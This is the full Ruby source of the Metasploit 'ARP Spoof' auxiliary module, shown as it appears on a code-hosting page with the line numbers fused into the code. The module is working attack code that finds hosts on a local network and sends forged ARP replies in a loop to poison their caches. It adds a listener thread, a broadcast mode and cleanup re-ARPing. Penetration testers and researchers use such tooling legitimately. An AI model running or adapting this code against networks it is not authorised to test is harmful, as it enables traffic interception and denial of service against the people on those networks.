Path: blob/master/modules/auxiliary/spoof/arp/arp_poisoning.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Capture7include Msf::Auxiliary::Report89def initialize10super(11'Name' => 'ARP Spoof',12'Description' => %q{13Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.14},15'Author' => [16'amaloteaux', # msf rewrite17# tons of people18],19'License' => MSF_LICENSE,20'References' => [21['OSVDB', '11169'],22['CVE', '1999-0667'],23['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']24],25'DisclosureDate' => 'Dec 22 1999', # osvdb date26'Notes' => {27'Stability' => [OS_RESOURCE_LOSS],28'SideEffects' => [IOC_IN_LOGS],29'Reliability' => []30}31)3233register_options([34OptString.new('SHOSTS', [true, 'Spoofed IP addresses']),35OptString.new('SMAC', [false, 'Spoofed MAC address']),36OptString.new('DHOSTS', [true, 'Target IP addresses']),37OptString.new('INTERFACE', [false, 'The name of the interface']),38OptBool.new('BIDIRECTIONAL', [true, 'Spoof also the source with the destination', false]),39OptBool.new('AUTO_ADD', [true, 'Auto add new host when discovered by the listener', false]),40OptBool.new('LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])41])4243register_advanced_options([44OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),45OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),46OptInt.new('PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),47OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),48# This mode will generate address IP conflict pop up on most systems49OptBool.new('BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])50])5152deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')53end5455def run56open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'arp[6:2] == 0x0002' })57@netifaces = true58if !netifaces_implemented?59print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available')60@netifaces = false61end62@spoofing = false63# The local dst (and src) cache(s)64@dsthosts_cache = {}65@srchosts_cache = {}66# Some additional caches for autoadd feature67if datastore['AUTO_ADD']68@dsthosts_autoadd_cache = {}69if datastore['BIDIRECTIONAL']70@srchosts_autoadd_cache = {}71end72end7374begin75@interface = datastore['INTERFACE'] || Pcap.lookupdev76# This is needed on windows cause we send interface directly to Pcap functions77@interface = get_interface_guid(@interface)78@smac = datastore['SMAC']79@smac ||= get_mac(@interface) if @netifaces80raise 'SMAC is not defined and can not be guessed' unless @smac81raise 'Source MAC is not in correct format' unless is_mac?(@smac)8283@sip = datastore['LOCALSIP']84@sip ||= get_ipv4_addr(@interface) if @netifaces85raise 'LOCALSIP is not defined and can not be guessed' unless @sip86raise 'LOCALSIP is not an ipv4 address' unless Rex::Socket.is_ipv4?(@sip)8788shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])89@shosts = []90if datastore['BIDIRECTIONAL']91shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) && (shost != @sip) then @shosts.push shost end }92else93shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end }94end9596if datastore['BROADCAST']97broadcast_spoof98else99arp_poisoning100end101rescue StandardError => e102print_error(e.message)103ensure104if datastore['LISTENER'] && @listener105@listener.kill106end107108if capture && @spoofing && !datastore['BROADCAST']109print_status('RE-ARPing the victims...')1103.times do111@dsthosts_cache.keys.sort.each do |dhost|112dmac = @dsthosts_cache[dhost]113if datastore['BIDIRECTIONAL']114@srchosts_cache.keys.sort.each do |shost|115smac = @srchosts_cache[shost]116next unless shost != dhost117118vprint_status("Sending arp packet for #{shost} to #{dhost}")119reply = buildreply(shost, smac, dhost, dmac)120inject(reply)121Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)122end123else124@shosts.each do |shost|125next unless shost != dhost126127vprint_status("Sending arp request for #{shost} to #{dhost}")128request = buildprobe(dhost, dmac, shost)129inject(request)130Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)131end132end133end134next unless datastore['BIDIRECTIONAL']135136@srchosts_cache.keys.sort.each do |shost|137smac = @srchosts_cache[shost]138@dsthosts_cache.keys.sort.each do |dhost|139dmac = @dsthosts_cache[dhost]140next unless shost != dhost141142vprint_status("Sending arp packet for #{dhost} to #{shost}")143reply = buildreply(dhost, dmac, shost, smac)144inject(reply)145Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)146end147end148end149end150close_pcap151end152end153154def broadcast_spoof155print_status('ARP poisoning in progress (broadcast)...')156loop do157@shosts.each do |shost|158vprint_status("Sending arp packet for #{shost} address")159reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')160inject(reply)161Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)162end163end164end165166def arp_poisoning167lsmac = datastore['LOCALSMAC'] || @smac168raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)169170dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])171@dhosts = []172dhosts_range.each { |dhost| if Rex::Socket.is_ipv4?(dhost) && (dhost != @sip) then @dhosts.push(dhost) end }173174# Build the local dest hosts cache175print_status('Building the destination hosts cache...')176@dhosts.each do |dhost|177vprint_status("Sending arp packet to #{dhost}")178179probe = buildprobe(@sip, lsmac, dhost)180inject(probe)181while (reply = getreply)182next if !reply.is_arp?183184# Without this check any arp request would be added to the cache185next unless @dhosts.include? reply.arp_saddr_ip186187print_good("#{reply.arp_saddr_ip} appears to be up.")188report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)189@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac190end191end192# Wait some few seconds for last packets193etime = Time.now.to_f + datastore['TIMEOUT']194while (Time.now.to_f < etime)195while (reply = getreply)196next if !reply.is_arp?197198next unless @dhosts.include? reply.arp_saddr_ip199200print_good("#{reply.arp_saddr_ip} appears to be up.")201report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)202@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac203end204Kernel.select(nil, nil, nil, 0.50)205end206raise 'No hosts found' if @dsthosts_cache.empty?207208# Build the local src hosts cache209if datastore['BIDIRECTIONAL']210print_status('Building the source hosts cache for unknown source hosts...')211@shosts.each do |shost|212if @dsthosts_cache.key? shost213vprint_status("Adding #{shost} from destination cache")214@srchosts_cache[shost] = @dsthosts_cache[shost]215next216end217vprint_status("Sending arp packet to #{shost}")218probe = buildprobe(@sip, lsmac, shost)219inject(probe)220while (reply = getreply)221next if !reply.is_arp?222223next unless @shosts.include? reply.arp_saddr_ip224225print_good("#{reply.arp_saddr_ip} appears to be up.")226report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)227@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac228end229end230# Wait some few seconds for last packets231etime = Time.now.to_f + datastore['TIMEOUT']232while (Time.now.to_f < etime)233while (reply = getreply)234next if !reply.is_arp?235236next unless @shosts.include? reply.arp_saddr_ip237238print_good("#{reply.arp_saddr_ip} appears to be up.")239report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)240@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac241end242Kernel.select(nil, nil, nil, 0.50)243end244raise 'No hosts found' if @srchosts_cache.empty?245end246247if datastore['AUTO_ADD']248@mutex_cache = Mutex.new249end250251# Start the listener252if datastore['LISTENER']253start_listener(@dsthosts_cache, @srchosts_cache)254end255# Do the job until user interrupt it256print_status('ARP poisoning in progress...')257@spoofing = true258loop do259if datastore['AUTO_ADD']260@mutex_cache.lock261if !@dsthosts_autoadd_cache.empty?262@dsthosts_cache.merge!(@dsthosts_autoadd_cache)263@dsthosts_autoadd_cache = {}264end265if datastore['BIDIRECTIONAL'] && @srchosts_autoadd_cache.length > (0)266@srchosts_cache.merge!(@srchosts_autoadd_cache)267@srchosts_autoadd_cache = {}268end269@mutex_cache.unlock270end271@dsthosts_cache.keys.sort.each do |dhost|272dmac = @dsthosts_cache[dhost]273if datastore['BIDIRECTIONAL']274@srchosts_cache.keys.sort.each do |shost|275@srchosts_cache[shost]276next unless shost != dhost277278vprint_status("Sending arp packet for #{shost} to #{dhost}")279reply = buildreply(shost, @smac, dhost, dmac)280inject(reply)281Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)282end283else284@shosts.each do |shost|285next unless shost != dhost286287vprint_status("Sending arp packet for #{shost} to #{dhost}")288reply = buildreply(shost, @smac, dhost, dmac)289inject(reply)290Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)291end292end293end294295next unless datastore['BIDIRECTIONAL']296297@srchosts_cache.keys.sort.each do |shost|298smac = @srchosts_cache[shost]299@dsthosts_cache.keys.sort.each do |dhost|300@dsthosts_cache[dhost]301next unless shost != dhost302303vprint_status("Sending arp packet for #{dhost} to #{shost}")304reply = buildreply(dhost, @smac, shost, smac)305inject(reply)306Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)307end308end309end310end311312def is_mac?(mac)313if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true314else315false end316end317318def buildprobe(shost, smac, dhost)319p = PacketFu::ARPPacket.new320p.eth_saddr = smac321p.eth_daddr = 'ff:ff:ff:ff:ff:ff'322p.arp_opcode = 1323p.arp_daddr_mac = p.eth_daddr324p.arp_saddr_mac = p.eth_saddr325p.arp_saddr_ip = shost326p.arp_daddr_ip = dhost327p328end329330def buildreply(shost, smac, dhost, dmac)331p = PacketFu::ARPPacket.new332p.eth_saddr = smac333p.eth_daddr = dmac334p.arp_opcode = 2 # ARP Reply335p.arp_daddr_mac = p.eth_daddr336p.arp_saddr_mac = p.eth_saddr337p.arp_saddr_ip = shost338p.arp_daddr_ip = dhost339p340end341342def getreply343pkt_bytes = capture.next344return if !pkt_bytes345346pkt = PacketFu::Packet.parse(pkt_bytes)347return unless pkt.is_arp?348return unless pkt.arp_opcode == 2349350pkt351end352353def start_listener(dsthosts_cache, srchosts_cache)354if datastore['BIDIRECTIONAL']355thread_args = { BIDIRECTIONAL: true, dhosts: dsthosts_cache.dup, shosts: srchosts_cache.dup }356else357thread_args = { BIDIRECTIONAL: false, dhosts: dsthosts_cache.dup, shosts: @shosts.dup }358end359# To avoid any race condition in case of , even if actually those are never updated after the thread is launched360thread_args[:AUTO_ADD] = datastore['AUTO_ADD']361thread_args[:localip] = @sip.dup362@listener = Thread.new(thread_args) do |args|363# one more local copy364liste_src_ips = []365if args[:BIDIRECTIONAL]366args[:shosts].each_key { |address| liste_src_ips.push address }367else368args[:shosts].each { |address| liste_src_ips.push address }369end370liste_dst_ips = []371args[:dhosts].each_key { |address| liste_dst_ips.push address }372localip = args[:localip]373374listener_capture = ::Pcap.open_live(@interface, 68, true, 0)375listener_capture.setfilter('arp[6:2] == 0x0001')376loop do377pkt_bytes = listener_capture.next378next unless pkt_bytes379380pkt = PacketFu::Packet.parse(pkt_bytes)381if pkt.is_arp? && pkt.arp_opcode == (1)382# check if the source ip is in the dest hosts383if (liste_dst_ips.include?(pkt.arp_saddr_ip) && liste_src_ips.include?(pkt.arp_daddr_ip)) ||384(args[:BIDIRECTIONAL] && liste_dst_ips.include?(pkt.arp_daddr_ip) && liste_src_ips.include?(pkt.arp_saddr_ip))385vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")386reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)3873.times { listener_capture.inject(reply.to_s) }388elsif args[:AUTO_ADD]389if @dhosts.include?(pkt.arp_saddr_ip) && !liste_dst_ips.include?(pkt.arp_saddr_ip) &&390(pkt.arp_saddr_ip != localip)391@mutex_cache.lock392print_status("#{pkt.arp_saddr_ip} appears to be up.")393@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac394liste_dst_ips.push pkt.arp_saddr_ip395@mutex_cache.unlock396elsif args[:BIDIRECTIONAL] && @shosts.include?(pkt.arp_saddr_ip) &&397!liste_src_ips.include?(pkt.arp_saddr_ip) && (pkt.arp_saddr_ip != localip)398@mutex_cache.lock399print_status("#{pkt.arp_saddr_ip} appears to be up.")400@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac401liste_src_ips.push pkt.arp_saddr_ip402@mutex_cache.unlock403end404end405end406end407rescue StandardError => e408print_error("Listener Error: #{e.message}")409print_error('Listener Error: Listener is stopped')410end411@listener.abort_on_exception = true412end413end414415416